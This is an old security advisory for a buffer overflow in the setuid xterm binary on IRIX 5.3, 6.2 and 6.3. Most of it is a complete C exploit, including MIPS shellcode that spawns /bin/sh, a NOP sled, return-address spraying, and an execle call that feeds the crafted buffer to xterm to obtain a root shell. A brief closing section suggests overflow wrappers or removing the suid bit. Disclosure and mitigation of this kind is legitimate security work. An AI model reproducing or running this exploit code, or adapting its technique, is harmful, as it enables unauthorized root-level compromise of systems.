COMMAND

    /usr/bin/X11/xterm

SYSTEMS AFFECTED

    IRIX 5.3, 6.2, 6.3

PROBLEM

    David Hedley  found following.   It is  buffer overflow  in xterm.
    This was tested on:

        R3000 Indigo (Irix 5.3)
        R4400 Indy   (Irix 5.3)
        R8000 PChallenge (Irix64 6.2)
        R5000 O2 (Irix 6.3)

    Exploit follows:

    /* /usr/bin/X11/xterm.c exploit by DCRH 27/5/97
     *
     * Tested on: R3000 Indigo (Irix 5.3)
     *            R4400 Indy   (Irix 5.3)
     *            R8000 PChallenge (Irix64 6.2)
     *            R5000 O2 (Irix 6.3)
     *
     * compile as: cc xterm.c (Irix 5.3)
     *             cc -n32 xterm.c (Irix 6.x)
     *
     * Pass '8' as a parameter for Irix 6.x, or change the OFFSET setting below
     *
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <unistd.h>

    #define NUM_ADDRESSES   500
    #define BUF_LENGTH      500
    #define EXTRA           9000
    #define OFFSET          0x170         /* 0x178 for Irix 6.x */
    #define GP_OFFSET       -0x80
    #define IRIX_NOP        0x03e0f825    /* move $ra,$ra */

    #define u_long unsigned


    u_long get_sp_code[] = {
        0x03a01025,         /* move $v0,$sp         */
        0x03e00008,         /* jr $ra               */
        0x00000000,         /* nop                  */
    };

    u_long irix_shellcode[] = {
        0x24041234,         /* li $4,0x1234         */
        0x2084edcc,         /* sub $4,0x1234        */
        0x0491fffe,         /* bgezal $4,pc-4       */
        0x03bd302a,         /* sgt $6,$sp,$sp       */
        0x03bd202a,         /* sgt $4,$sp,$sp       */
        0x240203ff,         /* li $v0,1023          */
        0x03ffffcc,         /* syscall 0xfffff      */
        0x23e40138,         /* addi $4,$31,264+48   */
        0xa086feff,         /* sb $6,-264+7($4)     */
        0x2084fef8,         /* sub $4,264           */
        0x20850110,         /* addi $5,$4,264+8     */
        0xaca4fef8,         /* sw $4,-264($5)       */
        0xaca6fefc,         /* sw $4,-260($5)       */
        0x20a5fef8,         /* sub $5, 264          */
        0x240203f3,         /* li $v0,1011          */
        0x03ffffcc,         /* syscall 0xfffff      */
        0x2f62696e,         /* "/bin"               */
        0x2f7368ff,         /* "/sh"                */
    };

    char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];

    void main(int argc, char **argv)
    {
        char *env[] = {NULL};
        u_long targ_addr, stack, tmp;
        u_long *long_p;
        int i, code_length = strlen((char *)irix_shellcode)+1;
        u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;

        stack = get_sp();

        if (stack & 0x80000000) {
            printf("Recompile with the '-32' option\n");
            exit(1);
        }

        long_p =(u_long *)  buf;
        targ_addr = stack + OFFSET;

        if (argc > 1)
            targ_addr += atoi(argv[1]);

        if (targ_addr + GP_OFFSET > 0x80000000) {
            printf("Sorry - this exploit for Irix 6.x only\n");
            exit(1);
        }

        tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3;

        while ((tmp & 0xff000000) == 0 ||
               (tmp & 0x00ff0000) == 0 ||
               (tmp & 0x0000ff00) == 0 ||
               (tmp & 0x000000ff) == 0)
            tmp += 4;

        for (i = 0; i < NUM_ADDRESSES/(4*sizeof(u_long)); i++) {
            *long_p++ = targ_addr;
            *long_p++ = targ_addr;
            *long_p++ = tmp;
            *long_p++ = tmp;
        }

        for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
            *long_p++ = IRIX_NOP;

        for (i = 0; i < code_length/sizeof(u_long); i++)
            *long_p++ = irix_shellcode[i];

        tmp = (targ_addr + GP_OFFSET + NUM_ADDRESSES/2) & ~3;

        for (i = 0; i < EXTRA / sizeof(u_long); i++)
            *long_p++ = (tmp >> 8) | (tmp << 24);

        *long_p = 0;

        printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);

        execle("/usr/bin/X11/xterm", "xterm", "-xrm", &buf[3], 0, env);
        perror("execl failed");
    }

SOLUTION

    As for solutions  -- it's wrappers  time.  AUSCERT  wrapper can be
    found at:

    ftp://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper/overflow_wrapper
.c

    or

    http://cegt201.bradley.edu/~im14u2c/wrapper/

    You may also remove suid bit.